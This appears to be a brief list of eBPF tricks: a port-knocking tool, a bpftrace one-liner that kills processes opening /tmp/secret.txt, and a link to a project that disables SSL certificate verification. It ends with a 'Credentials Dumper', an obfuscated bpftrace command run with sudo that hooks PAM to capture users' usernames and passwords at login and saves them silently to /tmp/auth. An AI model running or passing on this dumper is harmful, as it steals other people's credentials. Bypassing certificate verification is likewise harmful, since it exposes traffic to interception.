ebpftoy

Knockles ➞ An eBPF Port Knocking Tool 👀

Kill program that access to /tmp/secret.txt #eBPF bpftrace --unsafe -e 'tracepoint:syscalls:sys_enter_openat { if (strncmp("/tmp/secret.txt", str(args->filename), 15) == 0) { signal(9); }}'

Disable SSL certificate verification using eBPF : github.com/citronneur/bli…

Credentials Dumper a="probe:/*b/x*u/*pam.*.0:pam_get_authtok";c="@handle[tid]";d=",str(*((uint64*)";sudo bpftrace -e "BEGIN {printf(\"pid,comm,user,pass\n\");}u$a{$c=arg0;}uret$a/$c/{printf(\"%d,%s,%s,%s\n\",tid,comm$d($c+48)))$d$c)));delete($c);}"|sudo tee /tmp/auth>/*/null&